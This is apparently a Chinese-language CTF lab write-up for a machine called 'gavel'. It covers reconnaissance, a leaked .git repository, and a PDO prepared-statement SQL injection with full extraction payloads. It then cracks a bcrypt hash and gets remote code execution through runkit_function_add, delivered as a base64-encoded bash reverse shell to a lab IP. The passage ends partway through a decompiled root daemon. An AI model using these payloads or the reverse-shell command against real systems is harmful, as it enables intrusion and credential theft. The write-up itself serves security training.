php代码审计-二进制漏洞审计-利用
主要从泄露的源码进行代码审计,拿到权限,然后对二进制文件进行分析,编写漏洞利用脚本
信息收集
首先简单的看一下目标信息
nmap -O -A -T3 10.10.11.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 14:23 UTC
Nmap scan report for ip-10-10-11-97.ap-southeast-1.compute.internal (10.10.11.97)
Host is up (0.47s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT ADDRESS
1 182.73 ms ip-10-10-16-1.ap-southeast-1.compute.internal (10.10.16.1)
2 1369.97 ms ip-10-10-11-97.ap-southeast-1.compute.internal (10.10.11.97)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.86 seconds这里发现只有21和80端口,这里先来查看目标80端口
有注册,有登陆,先扫一下目录看看
git 泄露
这里发现存在.git 很有可能是git泄露,所以使用dumpall 来下 .git
然后就可以发现是源码,这里进行代码审计,并且在其中找到了数据库的账户密码
代码审计
首先是sql注入,在inventory.php文件下
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);然后就是命令执行漏洞,在bid_handler.php文件下
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
// 关键漏洞点
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);并且还拿到了数据库的账户密码
gavel
gavel这里我想直接查看命令执行漏洞的
sql注入-PDO预编译绕过
然后这里发现说必须登陆,我这里是已经注册账户登陆了的,还是不行,估计是要管理员权限了,那就只能先看sql注入了
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];这里主要是对字段 sort 以及 user id 进行查询,两个参数都是可以从post或者git进行传参的
$col = "`" . str_replace("`", "", $sortItem) . "`";这里是对输入参数的过滤,过滤了反引号 并且会在处理过的字符串两端强制加上反引号
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");这里也就是查询语句会拼接用户查询的参数,这里还进行了 PDO 预编译查询
$stmt->execute([$userId]);最后也就是查询,PDO 将 $userId 的值填充到 SQL 语句中的 ? 占位符处,并发送给数据库执行。
这里的PDO是默认开启模拟预编译,也就是说PDO 会在 PHP 层面进行参数替换,而不是真正把参数交给数据库处理。同时这里把 $col 直接放进了查询语句当中,但是列名是不能被预编译绑定的,所以这里的会就把用户输入的内容拼接到sql语句当中。并且PDO 准备执行,会寻找语句中的 ?占位符。
然而PDO 防止sql注入到方法就是调用queote()方法转义特殊字符,其中
` 反引号
?占位符这里PDO 会将 $userID 的值绑定在找到的第一个?这样语句就会变成
SELECT `?` FROM inventory WHERE user_id = ? ORDER BY ...当 PDO(开启模拟预编译时)处理这条语句时,它会错误地认为列名里的那个 ? 是第一个占位符,从而把 $userId 的值填充到这里
所以 $userID 的内容就会被注入到select 子句当中,而不是 where 子句中
这里就可以进行构造
user_id=1`+FROM+(SELECT+group_concat(schema_name)+AS+`'1`+FROM+information_schema.schemata)y;--+-&sort=\?;--+-%00这样就可以成功带入
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(table_name)+AS+`'1`+FROM+information_schema.tables+WHERE+table_schema=0x676176656c)y;--+-然后就是查列
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(column_name)+AS+`'1`+FROM+information_schema.columns+WHERE+table_name=0x7573657273)y;--+-最后就是查账户密码了
sort=\%3F;--+-%00&user_id=1`+FROM+(SELECT+group_concat(username,0x3a,password,0x3a,role)+AS+`'1`+FROM+users)y;--+-然后成功拿到数据
用户名 (Username) | 角色 (Role) | 密码哈希 (Hash - Bcrypt) |
auctioneer | auctioneer |
|
m4rkh0r | user |
|
test | user |
|
test1 | user |
|
hacker | user |
|
Vex_07 | user |
|
sado | user |
|
test2 | user |
|
test3 | user |
|
gavel | user |
|
admin | user |
|
test123 | user |
|
john | user |
|
testuser | user |
|
这里发现只有auctioneer是有特殊权限的,其他都是用户 |
RCE-反弹shell
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt这里成功获取到密码
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1这里登陆账户,然后来到拍卖界面
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
// 关键漏洞点
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);这里就是漏洞代码段,主要问题就是因为使用了 runkit_function_add 函数,把变量 $rule 作为新函数的函数体进行传入,而函数 $rule 是可控的,所以也就导致了RCE
runkit_function_add(
string $funcname, // 函数名: 'ruleCheck'
string $arglist, // 参数列表: '$current_bid, $previous_bid, $bidder'
string $code // 函数体代码: $rule <-- 致命漏洞点
);runkit_function_add 是PHPrunkit的拓展提供的一个的功能,允许做运行的时候动态创建一个新函数
$allowed = ruleCheck 函数创建之后就会立刻被调用,并且代码直接把变量 $rule 的内容作为php代码放入了函数体当中,这样控制之后,攻击者输入的内容就会被当作php代码中服务器端进行执行,也就相当于使用了 eval 函数。
并且这里的逻辑是只有竞价成功之后才会触发,所以在实际中利用就是
这里就发现存在 rule 参数,而漏洞触发页面在
所以也就需要在第一个页面输入命令,这里再进行竞价
这里输入反弹shell
return system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42OS80NDQ0IDA+JjE= | base64 -d |bash");
这里进行竞拍,就可以完成函数的调用
横向移动
也就成功拿到了shell,这里同时可以看到是一个低权限,这里去收集一下信息
www-data@gavel:/var/www/html/gavel/includes$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
syslog:x:106:113::/home/syslog:/usr/sbin/nologin
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
tss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/false
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
mysql:x:110:119:MySQL Server,,,:/nonexistent:/bin/false
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
www-data@gavel:/var/www/html/gavel/includes$ 这里发现一个账户 auctioneer,发现也就是web端的账户,所以可以尝试直接切换,这里为什么不直接ssh连这个账户,一开始也尝试了,但是发现链接不了,只能反弹shell以后切换
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)用python开一个交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'进程分析-二进制漏洞利用-权限提升
然后就成功的切换过来了,这里再找信息进行提权
auctioneer@gavel:/var/www/html/gavel/includes$ cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost gavel.htb
127.0.1.1 gavel
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
auctioneer@gavel:/var/www/html/gavel/includes$这里查看hosts文件以后发现,是有一个可疑的 gavel,去看一下进程
auctioneer@gavel:/var/www/html/gavel/includes$ ps aux | grep gavel
ps aux | grep gavel
root 934 0.0 0.0 19128 3948 ? Ss Nov30 0:00 /opt/gavel/gaveld
root 955 0.4 0.4 26784 18376 ? Ss Nov30 1:47 python3 /root/scripts/timeout_gavel.py
root 28123 0.0 0.0 0 0 ? Z Nov30 0:00 [gaveld] <defunct>
auction+ 72106 0.0 0.0 6488 2240 pts/2 S+ 01:29 0:00 grep gavel
auctioneer@gavel:/var/www/html/gavel/includes$ 发现在 /opt/gavel/gaceld 这里去进行查看,这里把gaceld 下载下来,反编译看一下
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
__pid_t v4; // eax
int v5; // eax
int v6; // r12d
struct group *v7; // rax
__gid_t gr_gid; // edx
int v9; // ebp
__pid_t v10; // eax
struct sockaddr v11[6]; // [rsp+0h] [rbp-A8h] BYREF
char v12; // [rsp+6Dh] [rbp-3Bh]
unsigned __int64 v13; // [rsp+78h] [rbp-30h]
v13 = __readfsqword(0x28u);
v3 = time(0LL);
v4 = getpid();
srand(v3 ^ v4);
mkdir("/opt/gavel/submission", 0x1E8u);
v5 = socket(1, 1, 0);
if ( v5 >= 0 )
{
v6 = v5;
unlink("/var/run/gaveld.sock");
v12 = 0;
v11[0].sa_family = 1;
strncpy(v11[0].sa_data, "/var/run/gaveld.sock", 0x6BuLL);
if ( bind(v6, v11, 0x6Eu) >= 0 )
{
if ( listen(v6, 16) >= 0 )
{
v7 = getgrnam("gavel-seller");
if ( v7
|| (__fprintf_chk(stderr, 1LL, "Group %s not found, defaulting to root:root\n", "gavel-seller"),
v7 = getgrnam("root"),
gr_gid = 0,
v7) )
{
gr_gid = v7->gr_gid;
}
if ( chown("/var/run/gaveld.sock", 0, gr_gid) )
perror("chown failed on socket");
if ( chmod("/var/run/gaveld.sock", 0x1B0u) )
perror("chmod failed on socket");
while ( 1 )
{
while ( 1 )
{
v9 = accept(v6, 0LL, 0LL);
if ( v9 < 0 )
break;
v10 = fork();
if ( v10 < 0 )
{
perror("fork");
close(v9);
}
else
{
if ( !v10 )
{
close(v6);
handle_conn((unsigned int)v9);
_exit(0);
}
close(v9);
while ( waitpid(-1, 0LL, 1) > 0 )
;
}
}
if ( *__errno_location() != 4 )
{
perror("accept");
sleep(1u);
}
}
}
perror("listen");
exit(1);
}
perror("bind");
exit(1);
}
perror("socket");
exit(1);
}这里是有一个权限控制,会获取 gavel-seller 的用户组信息
chmod("/var/run/gaveld.sock", 0x1B0u)这里也就代表只有root 和 gavel-selller 组的成员才能读 socket ,也就是说才能链接这个服务,会调用 handle_conn 去处理具体内容
// positive sp value has been detected, the output may be wrong!
unsigned __int64 __fastcall handle_conn(int a1)
{
int v1; // r15d
struct passwd *v2; // rbp
struct group *v3; // rax
const char **gr_mem; // rbx
unsigned __int32 v6; // ebx
void *v7; // rax
void *v8; // rbp
__int64 v9; // rax
const char *v10; // rbp
unsigned int v11; // ebx
char *v12; // r13
FILE *v13; // rbp
struct tm *v14; // rax
char *v15; // rax
size_t v16; // rax
const char *v17; // r13
size_t v18; // r14
size_t v19; // rax
FILE *v20; // rax
FILE *v21; // r12
__int64 v22; // rax
char *v23; // rsi
const void *v24; // r12
int v25; // ebx
int v26; // r8d
__int64 v27; // rax
int v28; // ebx
int v29; // ebx
int v30; // eax
__int64 v31; // rdx
_BYTE *v32; // r12
char *v33; // rsi
struct tm *v34; // rax
char *v35; // rax
int v36; // ebx
char *v37; // r15
const char *v38; // r13
const char *v39; // r12
size_t v40; // rax
unsigned int v41; // r13d
char *v42; // rax
char *v43; // r13
int v44; // eax
int v45; // r13d
__int64 v46; // r13
__int64 v47; // rax
int v48; // eax
int v49; // ebp
__int64 v50; // r13
int v51; // eax
__int64 v52; // rdx
const char **v53; // r12
__int64 v54; // r13
const char **v55; // rax
char *v56; // rsi
size_t v57; // rax
size_t v58; // rax
size_t v59; // rax
size_t v60; // rax
size_t v61; // rax
const char *v62; // [rsp-418h] [rbp-D448h]
const char *v63; // [rsp-410h] [rbp-D440h]
__int64 v64; // [rsp-400h] [rbp-D430h]
size_t v65; // [rsp-3F8h] [rbp-D428h]
__int64 v66; // [rsp-3F0h] [rbp-D420h]
const void *v67; // [rsp-3E8h] [rbp-D418h]
int v68; // [rsp-3DCh] [rbp-D40Ch]
int v69; // [rsp-3D8h] [rbp-D408h]
int v70; // [rsp-3D4h] [rbp-D404h]
int v71; // [rsp-3D0h] [rbp-D400h]
int v72; // [rsp-3CCh] [rbp-D3FCh]
socklen_t v73; // [rsp-3C4h] [rbp-D3F4h] BYREF
const char *v74; // [rsp-3C0h] [rbp-D3F0h] BYREF
__uid_t v75[3]; // [rsp-3B4h] [rbp-D3E4h] BYREF
_DWORD v76[6]; // [rsp-3A8h] [rbp-D3D8h] BYREF
const char *v77; // [rsp-390h] [rbp-D3C0h]
struct timespec v78[30]; // [rsp-338h] [rbp-D368h] BYREF
_BYTE v79[344]; // [rsp-158h] [rbp-D188h] BYREF
char v80; // [rsp+0h] [rbp-D030h] BYREF
__int64 v81; // [rsp+1000h] [rbp-C030h] BYREF
char v82[64]; // [rsp+7EA8h] [rbp-5188h] BYREF
char v83[128]; // [rsp+7EE8h] [rbp-5148h] BYREF
char v84[128]; // [rsp+7F68h] [rbp-50C8h] BYREF
__m128i v85[256]; // [rsp+7FE8h] [rbp-5048h] BYREF
char v86[11288]; // [rsp+8FE8h] [rbp-4048h] BYREF
unsigned __int64 v87; // [rsp+CFF0h] [rbp-40h]
while ( &v80 != (char *)(&v81 - 6656) )
;
v87 = __readfsqword(0x28u);
v1 = a1;
v73 = 12;
if ( getsockopt(a1, 1, 17, v75, &v73) != -1 )
{
v2 = getpwuid(v75[1]);
if ( v2 )
{
v3 = getgrnam("gavel-seller");
if ( v3 )
{
if ( v3->gr_gid != v2->pw_gid )
{
gr_mem = (const char **)v3->gr_mem;
if ( gr_mem )
{
while ( *gr_mem )
{
if ( !strcmp(*gr_mem, v2->pw_name) )
goto LABEL_13;
++gr_mem;
}
}
goto LABEL_11;
}
LABEL_13:
if ( readn(a1, v78, 4uLL) != 4 || (v6 = _byteswap_ulong(v78[0].tv_sec), v6 - 1 > 0xFFFFF) )
{
send_response_isra_0(a1, "\x1B[31mInvalid header length received.\x1B[0m");
close(a1);
return v87 - __readfsqword(0x28u);
}
v7 = malloc(v6 + 1);
v8 = v7;
if ( !v7 )
{
send_response_isra_0(a1, "\x1B[31mMemory allocation failed\x1B[0m");
close(a1);
return v87 - __readfsqword(0x28u);
}
v9 = readn(a1, v7, v6);
if ( v9 != v6 )
{
free(v8);
send_response_isra_0(a1, "\x1B[31mFailed to read header\x1B[0m");
close(a1);
return v87 - __readfsqword(0x28u);
}
*((_BYTE *)v8 + v9) = 0;
v64 = ((__int64 (__fastcall *)(void *))json_tokener_parse)(v8);
free(v8);
if ( !v64 )
{
send_response_isra_0(a1, "\x1B[31mFailed to parse header: invalid JSON\x1B[0m");
close(a1);
return v87 - __readfsqword(0x28u);
}
((void (__fastcall *)(__int64, const char *, const char **))json_object_object_get_ex)(v64, "op", &v74);
v10 = v74;
if ( v74 )
{
v11 = 0;
v10 = (const char *)((__int64 (__fastcall *)(const char *))json_object_get_string)(v74);
((void (__fastcall *)(__int64, const char *, const char **))json_object_object_get_ex)(
v64,
"content_length",
&v74);
if ( !v74 )
goto LABEL_20;
}
else
{
((void (__fastcall *)(__int64, const char *, const char **))json_object_object_get_ex)(
v64,
"content_length",
&v74);
if ( !v74 )
goto LABEL_46;
}
v11 = ((__int64 (*)(void))json_object_get_int)();
LABEL_20:
if ( v10 )
{
if ( strcmp(v10, "submit") )
{
if ( !strcmp(v10, "stats") )
{
v22 = ((__int64 (__fastcall *)(_QWORD))mysql_init)(0LL);
v23 = "\x1B[31mMySQL init failed\x1B[0m";
v24 = (const void *)v22;
if ( v22 )
{
if ( ((__int64 (__fastcall *)(__int64, const char *, const char *, const char *, const char *, _QWORD, _QWORD, _QWORD))mysql_real_connect)(
v22,
"localhost",
"gavel",
"gavel",
"gavel",
0LL,
0LL,
0LL) )
{
strcpy(buf_1, "\x1B[1;36m=================== GAVEL AUCTION DASHBOARD ===================\x1B[0m\n\n");
v25 = snprintf(
&buf_1[76],
0xFFB4uLL,
"\x1B[1;33m[Active Auctions]\x1B[0m\n"
"ID Item Name Current Bid Ends In\n")
+ 76;
v26 = ((__int64 (__fastcall *)(const void *, const char *))mysql_query)(
v24,
"SELECT id,item_name,current_price,TIMESTAMPDIFF(SECOND,NOW(),ends_at) FROM auctions WHERE stat"
"us='active' ORDER BY ends_at ASC LIMIT 3");
v27 = v25;
if ( !v26 )
{
v67 = v24;
v50 = ((__int64 (__fastcall *)(const void *))mysql_store_result)(v24);
while ( 1 )
{
v53 = (const char **)((__int64 (__fastcall *)(__int64))mysql_fetch_row)(v50);
if ( !v53 )
break;
v66 = strtol(*v53, 0LL, 10);
v65 = strtol(v53[2], 0LL, 10);
v51 = strtol(v53[3], 0LL, 10);
v52 = (unsigned int)(v51 >> 31);
LODWORD(v52) = v51 % 60;
v25 += __snprintf_chk(
&buf_1[v25],
(char *)&unk_10000 - v25,
1LL,
-1LL,
"\x1B[32m%-4d\x1B[0m %-30.30s \x1B[36m%-13d\x1B[0m \x1B[35m%02d:%02d\x1B[0m\n",
v66,
v53[1],
v65,
(unsigned int)(v51 / 60),
v52);
}
v24 = v67;
((void (__fastcall *)(__int64))mysql_free_result)(v50);
v27 = v25;
}
v28 = snprintf(&buf_1[v27], (size_t)&unk_10000 - v27, "\n") + v25;
v29 = snprintf(
&buf_1[v28],
(size_t)&unk_10000 - v28,
"\x1B[1;33m[Recently Ended Auctions]\x1B[0m\n"
"ID Item Name Final Price Winner\n")
+ v28;
v30 = ((__int64 (__fastcall *)(const void *, const char *))mysql_query)(
v24,
"SELECT id,item_name,current_price,IFNULL(highest_bidder,'None') FROM auctions WHERE status='en"
"ded' ORDER BY ends_at DESC LIMIT 3");
v31 = v29;
if ( !v30 )
{
v54 = ((__int64 (__fastcall *)(const void *, const char *, _QWORD))mysql_store_result)(
v24,
"SELECT id,item_name,current_price,IFNULL(highest_bidder,'None') FROM auctions WHERE status='"
"ended' ORDER BY ends_at DESC LIMIT 3",
v29);
while ( 1 )
{
v55 = (const char **)((__int64 (__fastcall *)(__int64))mysql_fetch_row)(v54);
v56 = (char *)&unk_10000 - v29;
if ( !v55 )
break;
v29 += __snprintf_chk(
&buf_1[v29],
v56,
1LL,
-1LL,
"\x1B[32m%-4s\x1B[0m %-30.30s \x1B[36m%-13s\x1B[0m \x1B[35m%s\x1B[0m\n",
*v55,
v55[1],
v55[2],
v55[3]);
}
((void (__fastcall *)(__int64, char *))mysql_free_result)(v54, v56);
v31 = v29;
}
snprintf(&buf_1[v31], (size_t)&unk_10000 - v31, "\n");
((void (__fastcall *)(const void *))mysql_close)(v24);
v23 = buf_1;
}
else
{
((void (__fastcall *)(const void *))mysql_close)(v24);
v23 = "\x1B[31mMySQL connection failed\x1B[0m";
}
}
}
else
{
if ( !strcmp(v10, "invoice") )
{
buf_0[0] = 0;
v12 = "\x1B[31m{\"status\":\"err\",\"msg\":\"Cannot open log\"}\x1B[0m";
v13 = fopen("/var/log/gavel_prod.log", "r");
if ( v13 )
{
v65 = 0LL;
while ( fgets(v86, 512, v13) )
{
if ( (unsigned int)__isoc99_sscanf(v86, "[+] Winner '%127[^']' received '%127[^']'", v84, v85) == 2 )
{
snprintf(&v79[256 * v65], 0x80uLL, "%s", v84);
snprintf(&v79[256 * v65++ + 128], 0x80uLL, "%s", v85[0].m128i_i8);
if ( v65 > 0x7F )
{
fclose(v13);
v78[0].tv_sec = time(0LL);
v14 = localtime(&v78[0].tv_sec);
v15 = asctime(v14);
__snprintf_chk(
buf_0,
&unk_20000,
1LL,
&unk_20000,
"\x1B[1;36m==================== GAVEL AUCTION INVOICE ====================\x1B[0m\n"
"\n"
"Date: %s\n"
"\n"
"\x1B[1;33mNo. Winner Item Name\x1B[0m\n"
"---------------------------------------------------------------\n",
v15);
v16 = strlen(buf_0);
goto LABEL_30;
}
}
}
fclose(v13);
v78[0].tv_sec = time(0LL);
v34 = localtime(&v78[0].tv_sec);
v35 = asctime(v34);
__snprintf_chk(
buf_0,
&unk_20000,
1LL,
&unk_20000,
"\x1B[1;36m==================== GAVEL AUCTION INVOICE ====================\x1B[0m\n"
"\n"
"Date: %s\n"
"\n"
"\x1B[1;33mNo. Winner Item Name\x1B[0m\n"
"---------------------------------------------------------------\n",
v35);
v16 = strlen(buf_0);
if ( !v65 )
{
snprintf(&buf_0[v16], (size_t)&unk_20000 - v16, "\x1B[33mNo items won.\x1B[0m\n");
goto LABEL_32;
}
LABEL_30:
v17 = v79;
v18 = 0LL;
do
{
++v18;
v63 = v17 + 128;
v62 = v17;
v17 += 256;
__snprintf_chk(
&buf_0[v16],
(char *)&unk_20000 - v16,
1LL,
-1LL,
"\x1B[32m%-4zu\x1B[0m \x1B[35m%-15s\x1B[0m %s\n",
v18,
v62,
v63);
v16 = strlen(buf_0);
}
while ( v18 < v65 );
LABEL_32:
v12 = buf_0;
v19 = strlen(buf_0);
((void (__fastcall *)(char *, const char *, char *, void *))__strncat_chk)(
buf_0,
"\n\x1B[1;36m================================================================\x1B[0m\n",
(char *)&unk_1FFFF - v19,
&unk_20000);
v20 = fopen("invoice.txt", "w");
v21 = v20;
if ( v20 )
{
fputs(buf_0, v20);
fclose(v21);
}
}
send_response_isra_0(a1, v12);
goto LABEL_44;
}
v23 = "\x1B[31mUnknown operation requested\x1B[0m";
}
LABEL_43:
send_response_isra_0(a1, v23);
LABEL_44:
((void (__fastcall *)(__int64))json_object_put)(v64);
close(a1);
return v87 - __readfsqword(0x28u);
}
if ( v11 - 1 > 0x1FFFFF )
{
v32 = 0LL;
v33 = (char *)v85;
v85[0] = _mm_load_si128((const __m128i *)&xmmword_5A20);
v85[1] = _mm_load_si128((const __m128i *)&xmmword_5A30);
}
else
{
v32 = malloc(v11 + 1);
if ( v32 )
{
v65 = v11;
if ( readn(a1, v32, v11) == v11 )
{
v32[v11] = 0;
if ( !(unsigned int)((__int64 (__fastcall *)(struct timespec *))yaml_parser_initialize)(v78) )
goto LABEL_58;
v36 = 0;
((void (__fastcall *)(struct timespec *, _BYTE *, size_t))yaml_parser_set_input_string)(v78, v32, v65);
LODWORD(v66) = 0;
v37 = 0LL;
v72 = 0;
v71 = 0;
v70 = 0;
v68 = 0;
v69 = 0;
v67 = v32;
while ( (unsigned int)((__int64 (__fastcall *)(struct timespec *, _DWORD *))yaml_parser_parse)(v78, v76) )
{
switch ( v76[0] )
{
case 9:
v36 = 1;
break;
case 0xA:
v36 = 0;
break;
case 6:
if ( v36 )
{
v38 = v77;
if ( !(unsigned int)((__int64 (__fastcall *)(struct timespec *, _DWORD *))yaml_parser_parse)(
v78,
v76)
|| v76[0] != 6 )
{
goto LABEL_87;
}
v39 = v77;
if ( !strcmp(v38, "name") )
{
v69 = v36;
}
else if ( !strcmp(v38, "description") )
{
v68 = v36;
}
else if ( !strcmp(v38, "image") )
{
v70 = v36;
}
else if ( !strcmp(v38, "price") )
{
v71 = v36;
}
else if ( !strcmp(v38, "rule_msg") )
{
v72 = v36;
}
else if ( !strcmp(v38, "rule") )
{
if ( v39 )
{
v40 = strlen(v39);
if ( v40 > 0x400 )
{
v32 = v67;
v1 = a1;
fwrite("rule too long\n", 1uLL, 0xEuLL, stderr);
goto LABEL_58;
}
v41 = v40 + 1;
v42 = (char *)malloc(v40 + 1);
v37 = v42;
if ( v42 )
{
if ( v41 >= 8 )
{
*(_QWORD *)&v42[v41 - 8] = *(_QWORD *)&v39[v41 - 8];
qmemcpy(v42, v39, 8LL * ((v41 - 1) >> 3));
}
else if ( (v41 & 4) != 0 )
{
*(_DWORD *)v42 = *(_DWORD *)v39;
*(_DWORD *)&v42[v41 - 4] = *(_DWORD *)&v39[v41 - 4];
}
else if ( v41 )
{
*v42 = *v39;
if ( (v41 & 2) != 0 )
*(_WORD *)&v42[v41 - 2] = *(_WORD *)&v39[v41 - 2];
}
}
}
LODWORD(v66) = v36;
}
}
break;
case 2:
goto LABEL_87;
}
((void (__fastcall *)(_DWORD *))yaml_event_delete)(v76);
}
LABEL_87:
v32 = v67;
v43 = v37;
v1 = a1;
((void (__fastcall *)(_DWORD *))yaml_event_delete)(v76);
((void (__fastcall *)(struct timespec *))yaml_parser_delete)(v78);
v83[0] = 0;
if ( !v69 )
((void (__fastcall *)(char *, const char *, __int64))__strcat_chk)(v83, "name ", 128LL);
if ( !v68 )
{
v61 = strlen(v83);
((void (__fastcall *)(char *, const char *, size_t, __int64))__strncat_chk)(
v83,
"description ",
127 - v61,
128LL);
}
if ( !v70 )
{
v60 = strlen(v83);
((void (__fastcall *)(char *, const char *, size_t, __int64))__strncat_chk)(
v83,
"image ",
127 - v60,
128LL);
}
if ( !v71 )
{
v58 = strlen(v83);
((void (__fastcall *)(char *, const char *, size_t, __int64))__strncat_chk)(
v83,
"price ",
127 - v58,
128LL);
}
if ( !v72 )
{
v57 = strlen(v83);
((void (__fastcall *)(char *, const char *, size_t, __int64))__strncat_chk)(
v83,
"rule_msg ",
127 - v57,
128LL);
}
if ( !(_DWORD)v66 )
{
v59 = strlen(v83);
((void (__fastcall *)(char *, const char *, size_t, __int64))__strncat_chk)(
v83,
"rule ",
127 - v59,
128LL);
}
if ( v69 && v68 && v70 && v71 && v72 && (_DWORD)v66 )
{
if ( v43 )
{
if ( strlen(v43) > 0x400 )
{
send_response_isra_0(a1, "\x1B[31mRule too long\x1B[0m");
v33 = "\x1B[32mItem submitted for review in next auction\x1B[0m";
goto LABEL_51;
}
if ( !(unsigned int)((__int64 (__fastcall *)(__int64, char *, char *, __int64))php_safe_run)(
v64,
v43,
v86,
0x4000LL) )
{
__snprintf_chk(v85, 256LL, 1LL, 256LL, "\x1B[31mIllegal rule or sandbox violation.%s\x1B[0m", v86);
send_response_isra_0(a1, v85);
v33 = "\x1B[32mItem submitted for review in next auction\x1B[0m";
goto LABEL_51;
}
}
free(v43);
if ( !mkdir("/opt/gavel/submission", 0x1E8u) || *__errno_location() == 17 )
{
strcpy(v85[0].m128i_i8, "/opt/gavel/submission/.tmpXXXXXX");
v44 = mkstemp(v85[0].m128i_i8);
v45 = v44;
if ( v44 >= 0 )
{
if ( v65 == write(v44, v67, v65) )
{
fsync(v45);
close(v45);
clock_gettime(0, v78);
v46 = (unsigned int)rand();
LODWORD(v47) = getpid();
__snprintf_chk(v82, 64LL, 1LL, 64LL, "%08x%08x%08x", LODWORD(v78[0].tv_sec), v47, v46);
__snprintf_chk(v84, 128LL, 1LL, 128LL, "/opt/gavel/submission/%s.yaml", v82);
if ( !rename(v85[0].m128i_i8, v84) )
{
chmod(v84, 0x180u);
v48 = open("/opt/gavel/submission", (int)&unk_10000);
v49 = v48;
if ( v48 >= 0 )
{
fsync(v48);
close(v49);
}
v33 = "\x1B[32mItem submitted for review in next auction\x1B[0m";
goto LABEL_51;
}
unlink(v85[0].m128i_i8);
}
else
{
close(v45);
unlink(v85[0].m128i_i8);
}
}
}
strcpy(v85[0].m128i_i8, "\x1B[31mFailed to save submission\x1B[0m");
v33 = (char *)v85;
goto LABEL_51;
}
LABEL_58:
__snprintf_chk(v85, 256LL, 1LL, 256LL, "\x1B[31mYAML missing required keys: %s\x1B[0m", v83);
v33 = (char *)v85;
}
else
{
